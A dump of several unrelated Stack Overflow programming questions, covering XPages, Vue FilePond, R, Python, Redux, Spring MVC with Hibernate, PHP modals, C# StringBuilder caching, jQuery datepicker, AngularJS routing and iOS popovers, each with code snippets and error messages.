addressBookSel="db-name"
nameList="people"
people="true" />
</xe:this.dataProvider>
<xe:this.dojoAttributes>
<xp:dojoAttribute
name="maxRowCount"
value="1000" />
</xe:this.dojoAttributes>
</xe:namePicker>
<xp:listBox
xp:key="field"
id="listBoxEmpNme"
style="width: 100% !important;"
value="#{tr.employeeName}">
<xp:selectItems>
<xp:this.value><![CDATA[#{CacheBean.employees}]]></xp:this.value>
</xp:selectItems>
<xp:eventHandler
event="onchange"
submit="true"
refreshMode="norefresh">
<xp:this.action><![CDATA[#{javascript:var scriptCode = "alert('This got fired')"
view.postScript(scriptCode); }]]></xp:this.action>
</xp:eventHandler></xp:listBox>
<xp:div
style="height:10.0px" />
<xp:scriptBlock id="scriptBlock2">
<xp:this.value><![CDATA[$(document).ready(
function() {
x$( "#{id:listBoxEmpNme}" ).select2({
placeholder: "Select The Scoular Employee To Term",
allowClear: true
});
}
);]]></xp:this.value>
</xp:scriptBlock>
<xp:div style="height:10.0px" />
</div>
<div class="col-sm-6 pull-right">
<xp:inputText
id="inputText2"
xp:key="field"
value="#{tr.employeeLocation}">
<xp:this.disabled><![CDATA[#{javascript:true}]]></xp:this.disabled>
</xp:inputText>
</div>
</div>
</div>
</div>
</div>
</div>
</xp:div>
</xp:panel>
</xp:view>
</code></pre>
<p>============================</p>
<p>The issue I have is that when the user changes the value of employeeName the partial refresh does fire, BUT value that has been changed [employeeName] is not reflected in the backing bean. If I can do this, then everything will be fine.</p>
| 3 | 4,345 |
Why label of file size on filepond show 1kb every file when displaying edit form?
|
<p>I have a module that has add and edit form. In the add and edit form, the user can upload files. When edit, it will show uploaded files</p>
<p>In add form, it works. When user upload, file size of file displays file size correctly</p>
<p>But my problem is when edit form, each file displays 1kb file size on all files</p>
<p>You can see the problem here:</p>
<p><a href="https://i.stack.imgur.com/gfKLy.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/gfKLy.png" alt="enter image description here" /></a></p>
<p>I use filepond package to upload files</p>
<p>My vue component like this :</p>
<pre><code><template>
<b-card>
<b-form @submit="onSubmit">
<b-row>
<b-col cols="8">
...
<b-form-group
id="fieldset-horizontal"
label-cols-sm="4"
label-cols-lg="2"
content-cols-sm
content-cols-lg="8"
label-for="description"
>
<template v-slot:label>
Description
</template>
<b-form-input id="description" v-model="description" required maxlength="100"></b-form-input>
</b-form-group>
<b-form-group
id="fieldset-horizontal"
label-cols-sm="4"
label-cols-lg="2"
content-cols-sm
content-cols-lg="9"
label-for="files"
>
<template v-slot:label>
Files
</template>
<file-pond v-if="this.$route.params.id"
label-idle='Drag and drop files here... or <span class="filepond--label-action"> Browse </span>'
v-bind:allow-multiple="true"
v-bind:server="server"
v-bind:files="files"
/>
<file-pond v-else
label-idle='Drag and drop files here... or <span class="filepond--label-action"> Browse </span>'
v-bind:allow-multiple="true"
accepted-file-types='application/pdf, application/vnd.ms-excel, application/vnd.openxmlformats-officedocument.spreadsheetml.sheet, .xlsx'
v-bind:server="server"
v-bind:required="true"
/>
</b-form-group>
</b-col>
<b-col cols="4">
<b-button type="submit" @click="save" variant="success">Save</b-button>
</b-col>
</b-row>
</b-form>
</b-card>
</template>
<script>
import { mapGetters, mapActions } from "vuex"
import vueFilePond from "vue-filepond"
...
export default {
data() {
return {
files: [],
server: {
process: (fieldName, file, metadata, load, error, progress, abort) => {
if(file.lastModified) {
if (this.dataFiles.findIndex(a => a.fileName == file.name) > -1) {
error(new Error('More than one file with the same name cannot be attached'));
}
else {
const data = new FormData()
data.append('files[]', file)
const CancelToken = axios.CancelToken
const source = CancelToken.source()
const config = {
method: 'post',
url: `${apiUrl}/upload`,
data : data,
cancelToken: source.token,
onUploadProgress: (e) => {
progress(e.lengthComputable, e.loaded, e.total)
},
}
axios(config)
.then(response => {
this.setSaveFile({
id: response.data.id,
name: response.data.name,
url: response.data.url,
})
load(response.data.id)
})
.catch((thrown) => {
if (axios.isCancel(thrown)) {
console.log('Request canceled', thrown.message)
} else {
error('error')
}
})
return {
abort: () => {
source.cancel('Operation canceled by the user.')
}
}
}
}
else { /* this will show data file when edit data */
this.setSaveFile({
id: metadata.id,
name: metadata.name,
url: metadata.url,
})
load(metadata.id)
}
},
revert: (uniqueFileId, load, error) => {
const type = this.$route.params.id ? 'edit' : 'add'
this.setDeleteFile({id: uniqueFileId, type: type } )
error('error')
load()
},
},
}
},
async mounted() {
if(this.$route.params.id) {
await this.setEdit(this.$route.params.id)
}
},
computed: {
...mapGetters([
"dataFiles",
"dataEditSuccess",
])
},
watch: {
dataEditSuccess: {
handler(data) {
if (this.$route.params.id && data) {
this.showEditData()
}
},
immediate: true
}
},
methods: {
...mapActions([
"setSaveFile",
"setDeleteFile",
"setEdit",
]),
showEditData() {
const data = this.dataEditSuccess
this.description = data.description
for (let key in data.files) {
let filePost = {
source: data.files[key].name,
options: {
metadata: {
id: data.files[key].id,
name: data.files[key].name,
url: data.files[key].url,
},
},
}
this.files.push(filePost)
}
},
},
...
}
</script>
</code></pre>
<p>How can I solve this problem?</p>
<p>Note :</p>
<p>The docs : <a href="https://github.com/pqina/vue-filepond" rel="nofollow noreferrer">https://github.com/pqina/vue-filepond</a></p>
<p>Update :</p>
<p>I make my code in codesandbox like this : <a href="https://codesandbox.io/s/vue-filepond-live-demo-forked-0v3r3j" rel="nofollow noreferrer">https://codesandbox.io/s/vue-filepond-live-demo-forked-0v3r3j</a></p>
<p>Here it looks the same file size</p>
<p>Actually I can uncomment this script to solve my problem :</p>
<pre><code>file: {
name: this.filesFromApi[key].name,
size: this.filesFromApi[key].size,
},
</code></pre>
<p>But it makes me unable to fetch <code>metadata</code> in process. So <code>process</code> cannot be called. You can try it and see in the console log</p>
| 3 | 4,085 |
lapply and data.frame in R
|
<p>I am attempting to use R to accept as many user input files as required and to take those files and make one histogram per file of the values stored in the 14th column. I have gotten this far:</p>
<pre><code>library("tcltk")
library("grid")
File.names<-(tk_choose.files(default="", caption="Choose your files", multi=TRUE, filters=NULL, index=1))
Num.Files<-NROW(File.names)
test<-sapply(1:Num.Files,function(x){readLines(File.names[x])})
data<-read.table(header=TRUE,text=test[1])
names(data)[14]<-'column14'
dat <- list(file1 = data.frame("column14"),
file2 = data.frame("column14"),
file3 = data.frame("column14"),
file4 = data.frame("column14"))
#Where the error comes up
tmp <- lapply(dat, `[[`, 2)
lapply(tmp, function(x) {hist(x, probability=TRUE, main=paste("Histogram of Coverage")); invisible()})
layout(1)
</code></pre>
<p>My code hangs up though on the line that states <code>tmp <- lapply(dat,</code>[[<code>, 2)</code>
The error that comes up is one of two things. If the line reads as above then the error is this: </p>
<pre><code>Error in .subset2(x, i, exact = exact) : subscript out of bounds
Calls: lapply -> FUN -> [[.data.frame -> <Anonymous>
</code></pre>
<p>I did some research and found that it could be caused by a double [[]] so I changed it to <code>tmp <- lapply(dat,</code>[<code>, 2)</code> to see if it would do any good (as many tutorials said it might) but that just resulted in this error: </p>
<pre><code>Error in `[.data.frame`(X[[1L]], ...) : undefined columns selected
Calls: lapply -> FUN -> [.data.frame
</code></pre>
<p>The input files all will follow this pattern:</p>
<pre><code>Targ cov av_cov 87A_cvg 87Ag 87Agr 87Agr 87A_gra 87A%_1 87A%_3 87A%_5 87A%_10 87A%_20 87A%_30 87A%_40 87A%_50 87A%_75 87A%_100
1:028 400 0.42 400 0.42 1 1 2 41.8 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0
1:296 400 0.42 400 0.42 1 1 2 41.8 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0
</code></pre>
<p>Is this a common problem? Can anyone explain it to me? I am not too familiar with R but I hope to continue learning.
Thanks
EDIT:
For reproducibility, if I run:</p>
<pre><code>head(test)
head(data)
x <- list(mtcars, mtcars, mtcars);lapply(x, head)
head(dat)
</code></pre>
<p>This is the result:</p>
<pre><code> > head(test)
[,1]
[1,] "Targ cov av_cov 87A_cvg 87Ag 87Agr 87Agr 87A_gra 87A%_1 87A%_3 87A%_5 87A%_10 87A%_20 87A%_30 87A%_40\t87A%_50\t87A%_75\t87A%_100"
[2,] "1:028 400\t0.42\t400\t0.42\t1\t1\t2\t41.8\t0.0\t0.0\t0.0\t0.0\t0.0\t0.0\t0.0\t0.0\t0.0"
[3,] "1:296 400\t0.42\t400\t0.42\t1\t1\t2\t41.8\t0.0\t0.0\t0.0\t0.0\t0.0\t0.0\t0.0\t0.0\t0.0"
[4,] "1:453 1646\t8.11\t1646\t8.11\t7\t8\t13\t100.0\t100.0\t87.2\t32.0\t0.0\t0.0\t0.0\t0.0\t0.0\t0.0"
[5,] "1:427 1646\t8.11\t1646\t8.11\t7\t8\t13\t100.0\t100.0\t87.2\t32.0\t0.0\t0.0\t0.0\t0.0\t0.0\t0.0"
[6,] "1:736 5105\t29.68\t5105\t29.68\t14\t29\t48\t100.0\t100.0\t100.0\t86.0\t65.7\t49.4\t35.5\t16.9\t0.0\t0.0"
> head(data)
[1] Targ cov av_cov X87A_cvg X87Ag X87Agr X87Agr.1
[8] X87A_gra X87A._1 X87A._3 X87A._5 X87A._10 X87A._20 X87A._30
[15] X87A._40 X87A._50 X87A._75 X87A._100
<0 rows> (or 0-length row.names)
> x <- list(mtcars, mtcars, mtcars);lapply(x, head)
[[1]]
mpg cyl disp hp drat wt qsec vs am gear carb
Mazda RX4 21.0 6 160 110 3.90 2.620 16.46 0 1 4 4
Mazda RX4 Wag 21.0 6 160 110 3.90 2.875 17.02 0 1 4 4
Datsun 710 22.8 4 108 93 3.85 2.320 18.61 1 1 4 1
Hornet 4 Drive 21.4 6 258 110 3.08 3.215 19.44 1 0 3 1
Hornet Sportabout 18.7 8 360 175 3.15 3.440 17.02 0 0 3 2
Valiant 18.1 6 225 105 2.76 3.460 20.22 1 0 3 1
[[2]]
mpg cyl disp hp drat wt qsec vs am gear carb
Mazda RX4 21.0 6 160 110 3.90 2.620 16.46 0 1 4 4
Mazda RX4 Wag 21.0 6 160 110 3.90 2.875 17.02 0 1 4 4
Datsun 710 22.8 4 108 93 3.85 2.320 18.61 1 1 4 1
Hornet 4 Drive 21.4 6 258 110 3.08 3.215 19.44 1 0 3 1
Hornet Sportabout 18.7 8 360 175 3.15 3.440 17.02 0 0 3 2
Valiant 18.1 6 225 105 2.76 3.460 20.22 1 0 3 1
[[3]]
mpg cyl disp hp drat wt qsec vs am gear carb
Mazda RX4 21.0 6 160 110 3.90 2.620 16.46 0 1 4 4
Mazda RX4 Wag 21.0 6 160 110 3.90 2.875 17.02 0 1 4 4
Datsun 710 22.8 4 108 93 3.85 2.320 18.61 1 1 4 1
Hornet 4 Drive 21.4 6 258 110 3.08 3.215 19.44 1 0 3 1
Hornet Sportabout 18.7 8 360 175 3.15 3.440 17.02 0 0 3 2
Valiant 18.1 6 225 105 2.76 3.460 20.22 1 0 3 1
> head(dat)
$file1
X.column14.
1 column14
$file2
X.column14.
1 column14
$file3
X.column14.
1 column14
$file4
X.column14.
1 column14
> tmp <- lapply(dat, `[`, 2)
Error in `[.data.frame`(X[[1L]], ...) : undefined columns selected
Calls: lapply -> FUN -> [.data.frame
Execution halted
</code></pre>
| 3 | 3,133 |
Can't get Secret Santa code to memorize assigned names
|
<p>I am a newbie in Python, I've learned some basic things like data types, cycles and how functions work so far. The thing is I don't know anything about databases...<br />
I want to write a Secret Santa code to make a bot for me and my friends. The idea is that after you were invited to join the bot, you enter your name and surname and get assigned to a person (I need the surname part 'cos there are some people with the same name). After that the assigned name needs to be deleted from the initial 'targets' list, so it wouldn't be assigned to anyone else.
I've made the assignment part so far:</p>
<pre><code>def appointer(name, surname):
template = "You are {}'s Secret Santa, congrats!"
targets = ['George Orwell', 'Vladimir Nabokov', 'Vladimir Sorokin']
if name == 'George' and surname == 'Orwell':
targets.remove('George Orwell')
print(template.format(random.choice(targets)))
elif name == 'Vladimir' and surname == 'Nabokov':
targets.remove('Vladimir Nabokov')
print(template.format(random.choice(targets)))
elif name == 'Vladimir' and surname == 'Sorokin':
targets.remove('Vladimir Sorokin')
print(template.format(random.choice(targets)))
print(targets)
else:
print('Wrong name, check again!')
</code></pre>
<p>(I need separate names and targets lists 'cos in my language names are declined.)<br />
Yeah, that's how far I've got!<br />
So the next step is for the bot to remember the assigned name and remove it from the 'targets' list so when the next person uses the bot he or she doesn't get the same name.
I've tried to make the assigned names get into the separate list and stuff, but it doesn't work due to multiple 'if' cycles.<br />
So I've been wondering is there any way to get this thing done without resorting to databases?</p>
<p><strong>Here's an update:</strong></p>
<p>The plan to remember the assigned people via inbuilt dictionary didn't work and each time I run the code this dict resets to zero.<br />
Then I've found a very useful <em>shelve module</em>.
So here's the code I've made with Tom's help:</p>
<pre><code>import shelve
shelveFile = shelve.open('mydata')
import random
participants = [....]
template = "You're {}'s Secret Santa, congrats!"
def appointer(name, surname):
fullname = name + ' ' + surname
if fullname not in participants:
print("Wrong name, check again!)
return
if fullname in shelveFile.keys():
print("You already have your victim!")
return
options = [i for i in participants if i != fullname and i not in shelveFile.values()]
selection = random.choice(options)
shelveFile[fullname] = selection
print(template.format(selection))
if __name__ == '__main__':
appointer(name = input('Enter your name: ').lower().title(), surname = (input('Enter your surname:').lower().title()))
shelveFile.close()
</code></pre>
<p>Shelve module gives you an inbuilt database, and every time you run the code you still have the all the assigned people memorized.</p>
| 3 | 1,106 |
Minified React error #31 with sharepoint online using React + redux
|
<p>I'm facing an error that has been searching by myself for 2 days. But currently It's still not resolved, so I came here to ask If anyone ever faced this?</p>
<p>I'm using Redux toolkit in a sharepoint online project for passing data to each other components.</p>
<p>The first component worked perfectly, but when I use useSelector function for the 2nd one, this error appears<a href="https://i.stack.imgur.com/iYLYS.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/iYLYS.png" alt="enter image description here" /></a></p>
<p>Although when I tried using console.log for each component, both are still receiving the data but
using data for the 2nd component will happen this error.</p>
<p>So has anyone ever faced this please help me out~, here is my codes</p>
<p>slice:</p>
<pre><code>import { createSlice } from '@reduxjs/toolkit';
export interface titleState {
title: string;
}
const initialState: titleState = {
title : 'Your title'
};
export const titleSlice = createSlice({
name: 'title',
initialState,
reducers: {
SET_TITLE: (state, action) => {
state.title = action.payload;
}
}
});
export const { SET_TITLE } = titleSlice.actions;
export default titleSlice.reducer;
</code></pre>
<p>store</p>
<pre><code>import { configureStore } from '@reduxjs/toolkit';
import titleReducer from "../features/titleSlice/titleSlice";
export const store: any = configureStore({
reducer: {
title: titleReducer
},
});
export type RootState = ReturnType<typeof store.getState>;
export type AppDispatch = typeof store.dispatch;
</code></pre>
<p>first component:</p>
<pre><code>import { useSelector, useDispatch } from "react-redux";
import { AppDispatch, RootState } from "../../../../redux/store/store";
const FirstComponent: FunctionComponent<FirstComponent> = (
props
) => {
const STATE_TITLE = useSelector((state: RootState) => state.title);
console.log(STATE_TITLE);
const dispatch = useDispatch<AppDispatch>();
const handleTitle = (e) => {
dispatch(SET_TITLE(e.target.value));
setTitle(e.target.value);
}
return (
<div>
<textarea
onChange={handleTitle} //works fine
/>
</div>
}
</code></pre>
<p>second component:</p>
<pre><code>import { useSelector, useDispatch } from "react-redux";
import { AppDispatch, RootState } from "../../../../redux/store/store";
const SecondComponent: FunctionComponent<ISecondComponentProps> = (props) => {
const TITLE_STATE = useSelector((state: RootState) => state.title)
console.log(TITLE_STATE)
return (
<div>
{YOUR_TITLE} //this line happens error
</div>
)
</code></pre>
<p>and here is the error from development tab : <a href="https://i.stack.imgur.com/tmVA1.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/tmVA1.png" alt="enter image description here" /></a></p>
| 3 | 1,033 |
java.lang.NullPointerException: Cannot invoke "javax.persistence.EntityManager error in Spring MVC while pulling data
|
<p>I am trying to learn creating ReST API end points using spring mvc and Hibernate without using springboot. When I am running my end point , I am getting internal server error saying that ,</p>
<p><code>java.lang.NullPointerException: Cannot invoke "javax.persistence.EntityManager.createQuery(String, java.lang.Class)" because "this.entityManager" is null</code>.</p>
<p>My spring-servlet.xml file under src/main/webapp/web-1nf is like the following,</p>
<pre><code><beans:beans xmlns="http://www.springframework.org/schema/mvc"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:beans="http://www.springframework.org/schema/beans"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:tx="http://www.springframework.org/schema/tx"
xsi:schemaLocation="http://www.springframework.org/schema/mvc
http://www.springframework.org/schema/mvc/spring-mvc.xsd
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/tx
http://www.springframework.org/schema/tx/spring-tx-4.0.xsd">
<annotation-driven />
<resources mapping="/resources/**" location="/resources/" />
<beans:bean id="dataSource"
class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<beans:property name="driverClassName" value="org.postgresql.Driver" />
<beans:property name="url" value="jdbc:postgresql://localhost:5432/company" />
<beans:property name="username" value="postgres" />
<beans:property name="password" value="postgresql" />
<!--<property name="socketTimeout" value="10"/>-->
<beans:property name="connectionProperties">
<beans:props>
<beans:prop key="socketTimeout">10</beans:prop>
</beans:props>
</beans:property>
</beans:bean>
<beans:bean id="hibernate4AnnotatedSessionFactory"
class="org.springframework.orm.hibernate4.LocalSessionFactoryBean">
<beans:property name="dataSource" ref="dataSource" />
<beans:property name="annotatedClasses">
<beans:list>
<beans:value>com.springmvc.Employee</beans:value>
</beans:list>
</beans:property>
<beans:property name="hibernateProperties">
<beans:props>
<beans:prop
key="hibernate.dialect">org.hibernate.dialect.PostgreSQLDialect
</beans:prop>
<beans:prop key="hibernate.show_sql">true</beans:prop>
</beans:props>
</beans:property>
</beans:bean>
<context:component-scan base-package="com.springmvc" />
<tx:annotation-driven transaction-manager="transactionMgr"/>
<beans:bean id="transactionMgr"
class="org.springframework.orm.jpa.JpaTransactionManager">
<beans:property name="entityManagerFactory" ref="mgrFactory"/>
</beans:bean>
<beans:bean id="mgrFactory" class="org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean">
<beans:property name="dataSource" ref="dataSource"/>
<beans:property name="packagesToScan" value="com.springmvc"/>
<beans:property name="jpaVendorAdapter">
<beans:bean class="org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter"/>
</beans:property>
<beans:property name="jpaProperties">
<beans:props>
<beans:prop key="hibernate.hbm2ddl.auto">${hibernate.hbm2ddl.auto}</beans:prop>
<beans:prop key="hibernate.dialect">${hibernate.dialect}</beans:prop>
<beans:prop key="hibernate.cache.use_second_level_cache">${hibernate.cache.use_second_level_cache}</beans:prop>
<beans:prop key="hibernate.cache.use_query_cache">${hibernate.cache.use_query_cache}</beans:prop>
<beans:prop key="hibernate.show_sql">${hibernate.show_sql}</beans:prop>
<beans:prop key="hibernate.format_sql">${hibernate.format_sql}</beans:prop>
</beans:props>
</beans:property>
</beans:bean>
</beans:beans>
</code></pre>
<p>My controller is ,</p>
<pre><code>@RestController
@RequestMapping("/mvchibernate")
public class CompanyController {
@Autowired
EmployeeService employeeService;
@GetMapping(value = "/getAllEmployees")
public List<Employee> getEmployeesList() {
@SuppressWarnings("unchecked")
List<Employee> listOfEmployees = employeeService.getAllEmployees();
return listOfEmployees;
}
}
</code></pre>
<p>And my service class like the following,</p>
<pre><code>@Service
public class EmployeeService {
@Autowired
EmployeeDAO employeeDaoObj;
public List getAllEmployees() {
return employeeDaoObj.getAllEmployees();
}
}
</code></pre>
<p>And DAO implementation ,</p>
<pre><code>@Repository
public class EmployeeDAO {
@PersistenceContext private EntityManager entityManager;
public List<Employee> getAllEmployees() {
String jpql = "SELECT e FROM Employee e";
TypedQuery<Employee> query = entityManager.createQuery(jpql, Employee.class);
return query.getResultList();
}
}
</code></pre>
<p>Here in my DAO class I autowired the entitymanager.And while running I am getting <code>Cannot invoke javax.persistence.EntityManager</code> and last showing that <code>because "this.entityManager" is null</code>.</p>
<p>So can anyone guide me to resolve this issue or kindly refer any documentation to follow please?</p>
| 3 | 2,654 |
Send Form Value to Modal
|
<p>I have a form that asks for 3 fields. Once the form is submitted, it should open a modal. In the modal a budget summary should show. The budget summary data is pulled from a database and the values are based on the 3 form fields entered. I can't seem to get the values to show up in the modal so the query will work but, the modal does open.</p>
<p>Here is the modal code:</p>
<pre><code> <!-- Large modal -->
<div class="modal fade bd-example-modal-lg" tabindex="-1" id="myLargeModalLabel" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg">
<div class="modal-content p-4">
<h4 class="modal-title">Budget Summary</h4>For Account: <?php echo $account; ?>, Fund: <?php echo $_POST['fund2']; ?>, DeptID#: <?php echo $deptID; ?><br><em>The budgeted balance is an estimate.</em></h4>
<br> <?php if ($budget_summary->TotalRows == 0) { // Show if mysqli recordset empty ?>There is no data. Please try your search again.<?php } ?>
<?php if ($budget_summary->TotalRows > 0) { // Show if mysqli recordset empty ?><table width="100%" class="table table-responsive" border="0" cellspacing="2" cellpadding="6" class="display" id="example2">
<thead>
<tr>
<th align="left" valign="top">Budgeted Amount</th>
<th align="left" valign="top">Budgeted Balance</th>
<th align="left" valign="top">Program</th>
</tr>
</thead>
<tbody>
<?php
while(!$budget_summary->atEnd()) {
?><tr>
<td valign="top">$<?php echo($budget_summary->getColumnVal("budgeted_amount")); ?></td>
<td valign="top">$<?php echo($budget_summary->getColumnVal("budgeted_balance")); ?></td>
<td valign="top"><?php echo($budget_summary->getColumnVal("program")); ?></td>
</tr>
<?php
$budget_summary->moveNext();
}
$budget_summary->moveFirst(); //return RS to first record
?>
</tbody>
</table><?php } ?>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
</code></pre>
<p>Here is the sql query:</p>
<pre><code><?php
$budget_summary = new WA_MySQLi_RS("budget_summary",$sa,0);
$budget_summary->setQuery("SELECT * from budget_summary where fund = ? and account = ? and deptID = ?");
$budget_summary->bindParam("i", "".$_POST['fund '] ."", "-1"); //colname
$budget_summary->bindParam("i", "".$_POST['account'] ."", "-1"); //colname2
$budget_summary->bindParam("i", "".$_POST['funding_department'] ."", "-1"); //colname3
$budget_summary->execute();
?>
</code></pre>
<p>Here is the form:</p>
<pre><code><form method="POST" id="frm" name="frm">
<div class="row">
<div class="col mb-2">
<label for="account">Account:</label>
<select class="form-control" name="account2" id="account2" required>
<option></option>
<?php
while(!$accounts->atEnd()) { //dyn select
?>
<option value="<?php echo($accounts->getColumnVal("account")); ?>"><?php echo($accounts->getColumnVal("account")); ?>: <?php echo($accounts->getColumnVal("description")); ?></option>
<?php
$accounts->moveNext();
} //dyn select
$accounts->moveFirst();
?>
</select>
</div>
<div class="col mb-2">
<label for="fund">Fund:</label>
<select class="form-control" name="fund2" id="fund2" required>
<option></option>
<?php
while(!$funds->atEnd()) { //dyn select
?>
<option value="<?php echo($funds->getColumnVal("fundID")); ?>"><?php echo($funds->getColumnVal("fundID")); ?>: <?php echo($funds->getColumnVal("fund")); ?></option>
<?php
$funds->moveNext();
} //dyn select
$funds->moveFirst();
?>
</select>
</div>
</div>
<div class="row">
<div class="col mb-2">
<label for="fund">Department ID#:</label>
<input type="text" name="funding_department2" id="funding_department2" class="form-control input-md" autocomplete="off" value="" required>
</div></div>
<button type="submit" name="submit2" id="submit2" class="btn-lg btn-info">Search</button>
</form>
<script>
$(document).ready(function() {
$('#frm').on('submit', function(e){
$('#myLargeModalLabel').modal('show');
e.preventDefault();
});
});
</script>
</code></pre>
<p>Any tips would be appreciated on how to make this happen. I have been trying for days to figure it out. Thank you.</p>
| 3 | 2,982 |
StringBuilder with Caching, ThreadStatic
|
<p>I came across the code below from <a href="https://docs.microsoft.com/en-us/dotnet/framework/performance/writing-large-responsive-apps" rel="nofollow noreferrer">Writing Large, Responsive .NET Framework Apps</a>.</p>
<p>The code below creates a string like <code>SomeType<T1, T2, T3></code> using <code>StringBuilder</code>, and demonstrating caching <code>StringBuilder</code> to improve performance.</p>
<pre><code> public void Test3()
{
Console.WriteLine(GenerateFullTypeName("SomeType", 3));
}
// Constructs a name like "SomeType<T1, T2, T3>"
public string GenerateFullTypeName(string name, int arity)
{
//StringBuilder sb = new StringBuilder();
StringBuilder sb = AcquireBuilder();
sb.Append(name);
if (arity != 0)
{
sb.Append("<");
for (int i = 1; i < arity; i++)
{
sb.Append("T"); sb.Append(i.ToString()); sb.Append(", ");
}
sb.Append("T"); sb.Append(arity.ToString()); sb.Append(">");
}
//return sb.ToString();
/* Use sb as before */
return GetStringAndReleaseBuilder(sb);
}
[ThreadStatic]
private static StringBuilder cachedStringBuilder;
private static StringBuilder AcquireBuilder()
{
StringBuilder result = cachedStringBuilder;
if (result == null)
{
return new StringBuilder();
}
result.Clear();
cachedStringBuilder = null;
return result;
}
private static string GetStringAndReleaseBuilder(StringBuilder sb)
{
string result = sb.ToString();
cachedStringBuilder = sb;
return result;
}
</code></pre>
<p>However, is it correct that the two modified methods below are better in terms of caching StringBuilder?? Only AcquireBuilder needs to know how to cache it.</p>
<pre><code> private static StringBuilder AcquireBuilder()
{
StringBuilder result = cachedStringBuilder;
if (result == null)
{
//unlike the method above, assign it to the cache
cachedStringBuilder = result = new StringBuilder();
return result;
}
result.Clear();
//no need to null it
// cachedStringBuilder = null;
return result;
}
private static string GetStringAndReleaseBuilder(StringBuilder sb)
{
string result = sb.ToString();
//other method does not to assign it again.
//cachedStringBuilder = sb;
return result;
}
</code></pre>
<p>Another issue is that the original methods are not thread-safe, why is ThreadStatic used in the demo?</p>
| 3 | 1,347 |
JQuery UI DatePicker Covering Controls Below
|
<p>I have a set of two date fields where the JQuery UI DatePicker is covering up the controls below. How do I set the ZIndex or Position of the DatePicker so it does not collide with the controls? I am using FireFox. </p>
<p>Here is my JSFiddle:
<a href="http://jsfiddle.net/pNP22/4/" rel="nofollow">http://jsfiddle.net/pNP22/4/</a></p>
<p>Here is my HTML:</p>
<pre><code><div class="editor-label">
<label for="StartDate">Choose Start Date</label>
</div>
<div class="editor-field">
<input id="StartDate" name="StartDate" type="text" value="" />
<span class="field-validation-valid" data-valmsg-for="StartDate" data-valmsg-replace="true"></span>
</div>
<div class="editor-label">
<label for="EndDate">Choose End Date</label>
</div>
<div class="editor-field">
<input id="EndDate" name="EndDate" type="text" value="" />
<span class="field-validation-valid" data-valmsg-for="EndDate" data-valmsg-replace="true"></span>
</div>
<div class="editor-label">
<label for="SiteLocation">Choose Site Location</label>
</div>
<div class="editor-field">
<select data-val="true" data-val-required="The Choose Site Location field is required." id="SiteLocation" name="SiteLocation"><option value="">-- Please Select --</option>
<option value="fce39672-cf3b-40c4-bae9-a0e800fb193c">Columbus, US</option>
<option value="ed567544-ea5e-4cb7-9be7-a2030040e017">Granada</option>
<option value="8e9630b4-db21-4a35-9894-a17e000b4eb7">Singapore</option>
</select>
</div>
<div class="editor-label">
<label for="RequestNumber">Request #</label>
</div>
<div class="editor-field">
<input class="text-box single-line" data-val="true" data-val-number="The field Request # must be a number." id="RequestNumber" name="RequestNumber" type="text" value="" />
<span class="field-validation-valid" data-valmsg-for="RequestNumber" data-valmsg-replace="true"></span>
</div>
<div class="editor-label">
<label for="Commodity">Commodity</label>
</div>
<div class="editor-field">
<input class="text-box single-line" id="Commodity" name="Commodity" type="text" value="" />
<span class="field-validation-valid" data-valmsg-for="Commodity" data-valmsg-replace="true"></span>
</div>
</code></pre>
<p>Here is my Javascript:</p>
<pre><code> $('#StartDate').datepicker();
$('#EndDate').datepicker();
</code></pre>
| 3 | 1,235 |
How to get resovled value from $routeProvider in AngularJS?
|
<p>On change of views in my application i created resolve function which should find out if user is logged in or not: </p>
<pre><code> $routeProvider.
when('/taskoverview', {
templateUrl: 'Home/Template/taskoverview', resolve: TaskOverviewCtrl.resolve, access: { allowAnonymous: true },
resolve: {
userAuthenticated: ["$http", function ($http) {
var loggedIn;
$http.get('/api/Authentication/UserAuthenticated').then(function (data) {
if (data.data != null) {
loggedIn = true;
}
else {
loggedIn = false;
console.log("really");
}
});
return loggedIn;
}]
}
}).
otherwise({ redirectTo: '/' });
</code></pre>
<p>After it happend i want to check value of userAuthenticated on locationChangeStart, so i thought it should be pretty much straign forward.</p>
<pre><code>WorkerApp.run(function ($rootScope, $routeParams, $route, $location) {
$rootScope.$on('$locationChangeStart', function (event, next, current) {
for (var i in $route.routes) {
if (next.indexOf(i) != -1) {
if ($route.routes[i].access != null && ($route.routes[i].userAuthenticated != null || typeof($route.routes[i].userAuthenticated) != "undefined")) {
if ((!$route.routes[i].access.allowAnonymous || $route.routes[i].access.allowAnonymous == "undefined") && (!$route.routes[i].userAuthenticated || $route.routes[i].userAuthenticated == "undefined")) {
event.preventDefault();
alert("no access");
}
}
}
}
});
});
</code></pre>
<p>But evrytime i change my userAuthenticated is always undefined. So question is, how do i make it return a value? </p>
<p>Are there any more straigh way to prevent user to access pages without authenticated? </p>
| 3 | 1,201 |
Losing Gesture Recognizers in UIPopoverController
|
<p>I have a class called PhotoBoothController that I use to manipulate an image using gestures. It works fine when I run it on iPhone. However when I run it on iPad, I display the PhotoBoothController inside a UIPopoverController. The image appears fine, however I can't manipulate it as my gestures don't appear to be recognized. I'm not sure how to make the UIPopoverController take control of the gestures. </p>
<p>I present the popovercontroller and configure the view thus:</p>
<pre><code>- (void)presentPhotoBoothForPhoto:(UIImage *)photo button:(UIButton *)button {
//Create a photoBooth and set its contents
PhotoBoothController *photoBoothController = [[PhotoBoothController alloc] init];
photoBoothController.photoImage.image = [button backgroundImageForState:UIControlStateNormal];
//set up all the elements programmatically.
photoBoothController.view.backgroundColor = [UIColor whiteColor];
//Add frame (static)
UIImage *frame = [[UIImage imageNamed:@"HumptyLine1Frame.png"] adjustForResolution];
